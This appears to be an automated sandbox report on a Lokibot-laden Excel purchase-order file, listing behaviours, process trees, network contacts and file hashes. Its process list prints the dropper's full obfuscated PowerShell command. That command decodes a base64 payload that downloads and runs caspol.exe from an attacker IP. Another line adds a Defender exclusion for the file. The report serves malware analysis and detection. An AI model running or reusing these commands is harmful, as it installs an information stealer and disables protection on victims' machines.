Analysis Overview
SHA256
555c9fab8b1c2180ec0c140d7ef7a072d3848661e47051b4dda5de40a61465b7
Threat Level: Known bad
The file PO-000041492.xls was found to be: Known bad.
Malicious Activity Summary
Lokibot family
Process spawned unexpected child process
Lokibot
Blocklisted process makes network request
Evasion via Device Credential Deployment
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Loads dropped DLL
Executes dropped EXE
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Modifies Internet Explorer settings
outlook_win_path
Checks processor information in registry
Uses Task Scheduler COM API
outlook_office_path
Suspicious use of SetWindowsHookEx
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Enumerates system info in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-18 17:10
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win7-20240903-en
Max time kernel
139s
Max time network
152s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1320 set thread context of 1724 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE
"C:\Windows\SysTEM32\winDoWSPOwErshELl\v1.0\pOWERSHELl.exE" "PowERShell.EXE -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT ; iNvOkE-EXprEssion($(invOkE-exPreSSIoN('[sYsteM.tEXT.EncOdInG]'+[CHar]0X3A+[CHaR]0x3A+'Utf8.GEtsTriNG([sYSTEm.CONvErT]'+[ChAr]0x3a+[CHar]58+'fROMbasE64string('+[char]34+'JEFIQ2MxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJlUkRlRmlOaVRJT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTW9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3piR3Ysc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZEdvU2hpRWwsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZZTGlNem4sSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYkcpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNQmdOa1F0IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLWHhFWHhxZEVFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRBSENjMTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzY2LjYzLjE4Ny4yMzEvNjU3L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtTVGFSVC1zbGVFcCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXGNhc3BvbC5leGUi'+[ChAR]34+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpaSS -nOP -W 1 -c DevIcEcREDeNTiALDePLoYmENT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.252.157:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/2984-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2984-1-0x00000000720BD000-0x00000000720C8000-memory.dmp
memory/2736-16-0x0000000002450000-0x0000000002452000-memory.dmp
memory/2984-17-0x0000000002D90000-0x0000000002D92000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dfe9d40108cd6499968560d0319998c6 |
| SHA1 | 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73 |
| SHA256 | 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e |
| SHA512 | 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | ee08b497c96a8862217c35095e888215 |
| SHA1 | 5f6c3fc50164607899dd42a4c70599c065f6adfd |
| SHA256 | da9f84f0feaf006c09439cd0c4a1ec0b4dab37b72ebb2b0c03909826ea7bac1e |
| SHA512 | 4d731a97165e890f513512467541dfac91bb4db424aae0dd44d496f613b8ed2426040d2eb77bce7f46a123c49adf0b37703af6d6235daeeb50e53e25352f0579 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | c8f867e8804835acdcef809edcd6b49d |
| SHA1 | 7fc48e4a1d19ce534efc289e091790586585d3a5 |
| SHA256 | 3da28514f0baa9c4f173025078582737df6ecd23fcd43c5a8a1bb58363fea8fe |
| SHA512 | 23517f9d295f1f7488f71d31ff1dd5e82cb14b22aa19d23ff88048a2841e351d4d846415dbf5f8e5abcb3f9b6c22481cf29f9145c1e9e9d72533a737c70a94f4 |
C:\Users\Admin\AppData\Local\Temp\CabE070.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\633SXO0D\seemefasterthanbeforewithhisbestthingsinonlineforgetreadyfor[1].hta
| MD5 | db21eb9cf86a8314900d693c5a40c4e9 |
| SHA1 | 1dd5c5e45f4c0224a6c4f4ce443bcb542fc5913c |
| SHA256 | da1ae3eef8260a07b09c7978317fed23be8c431f2620629a9bc3f170df113102 |
| SHA512 | b589c6d47dd7dc29d3e8e6823c68966ee388d5e78fbc5b300abd38829443889591efe774564c861349dcad7b1981f9317b60fb1c19a3b232f12c64e403783f2c |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | d915575efadd9013b016eadccec52ceb |
| SHA1 | fe411ae53d7131ac28b2e3c93c60ca19c247a54b |
| SHA256 | 6b561cda71c61f2dc677f2a3919fe4c5c85b1e5bb28deb37f15a5a955ef650dc |
| SHA512 | 9d291df4dd3673359651bd6629337d9d08d64759241b6f063bf1d86b2cb6019f2327bf666e5b261f6d52063352314b6588a475f8282216d24a459f2c08957cd8 |
\??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.cmdline
| MD5 | 9157e976f2a0ea29863876e8a4c1e2cb |
| SHA1 | 3697e747c782a20a02c3036d5e20b96388d21c0c |
| SHA256 | 9691814f0c819d7d1def6e457f34c40e4e9a4d84481eed226711ba6fd4be68ba |
| SHA512 | 8b17c624e7f95dd2c6dfcbd72256ef0c3b329acb1c64763346f5456a84667c2cbce6e12e19d74195dbbab61c2096e2499f2e67351270a67b2b6f8903fe0a735b |
\??\c:\Users\Admin\AppData\Local\Temp\qbdoz_oh.0.cs
| MD5 | f97fc8141f59078b4354b513d3b083ac |
| SHA1 | 293904ab8d5f38a2f0764ee2e35e97e590d8c737 |
| SHA256 | f6766cc467b91c9c99186a91d4cc32ebf6803b04c9e82ba8dedd54f9dc25b32e |
| SHA512 | 87b65e67e76c334c79481d25513fb1696ab86b1d8bf6006b7436a5ba7e522e2101912315c16d92cb0bf0feb86aa9616d5ea1019054c489958ca364947abe879c |
\??\c:\Users\Admin\AppData\Local\Temp\CSCEB97.tmp
| MD5 | ed8692e73778346c5c119c739eab4ecd |
| SHA1 | 7b5a8c6a74d235e7902176089cf2dfe7bb2dbe2c |
| SHA256 | 8b6bbdbd3ef1e9e5855a819c670bbfd435a61c1783ee26bace1a5510bd01eee9 |
| SHA512 | 2bddbca89f1eb952a57e7ed28d9ef5bd6a076c978d49441faf164a161419b6028870fb4070a2d78ceeec63a630b64d92ef9a50f2ac14fbf3e01abdb1153775d5 |
C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.dll
| MD5 | a7e56b3d3e83870d9d1bcc486415033b |
| SHA1 | 5f7fcccb2c8a380587d88af4bd33986d47e90296 |
| SHA256 | 9081351e5e5cd918353f6ec5b3968a7201188eac04dc39cea6a231e08c1a996f |
| SHA512 | 4fc729f47854301b444d3b3790e5aeeee27c42014f102e29dff67c1622642fadd48d513a977551fc73de564d40fe72f42ac4df57661169f2093cbead805fc51f |
C:\Users\Admin\AppData\Local\Temp\RESEB98.tmp
| MD5 | a05e07c6cfc6197d9d65439443f8606e |
| SHA1 | ff84ed75cdda24a6f3844d026627c78b6ac50f1f |
| SHA256 | 6ad274e96b0855672b2af7c8c88b89e20418c3f0f0569445fbabf64542e904d0 |
| SHA512 | 0c8e1293499d564925235a83a124d8cbba777f4a8871b9d97b5bf9d72949308c9b0d77b15152bfc224abc4bd8cb964c911bf2b04121051e2669eded2970f932d |
C:\Users\Admin\AppData\Local\Temp\qbdoz_oh.pdb
| MD5 | 75a2c613c4348cd881173825eb038e90 |
| SHA1 | 2d0c4b17275aeac05736dd144fd6e9a770ba71b9 |
| SHA256 | ac26e14fd463b1042542156e9893f82b63036c9f1ec308464b6fb2962e76b404 |
| SHA512 | 9e54b84591b6ad5e85d20fcbbcae5f5e94fced1443490accc38a2f34468ac13acb58cfca5317516b8ea6ea1e702e42d9318eed7425077ef79e56bf161b1c6310 |
memory/2984-56-0x00000000720BD000-0x00000000720C8000-memory.dmp
\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 80358303e33cef71434e6e4a621262c5 |
| SHA1 | e7a22b4e5af741f9b4d9982f36164b276bba459a |
| SHA256 | f3246d0ca5ca8e69f98ca33b2c17813d5d862049dcfa9931dbcbaaaf7543a1f7 |
| SHA512 | 5e68b8c63afe7c0e91396f42f485cd84946235ab11d9ce7107bbcf75568ff3087d5e14378f87d77733376e332f516f26db838b870ca580569178b15c0a90761e |
memory/1320-70-0x00000000002E0000-0x0000000000374000-memory.dmp
memory/1320-71-0x0000000000960000-0x0000000000972000-memory.dmp
memory/1320-72-0x0000000005810000-0x0000000005874000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
memory/1724-89-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-87-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-86-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1724-84-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-82-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-80-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-78-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1724-76-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win10v2004-20241007-en
Max time kernel
148s
Max time network
150s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3964 wrote to memory of 3888 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 3964 wrote to memory of 3888 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-000041492.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| FR | 52.109.68.129:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.68.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.115:80 | e6.o.lencr.org | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.108.45.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.245.100.95.in-addr.arpa | udp |
| US | 66.63.187.231:80 | 66.63.187.231 | tcp |
| US | 8.8.8.8:53 | 115.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.187.63.66.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.112.168.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
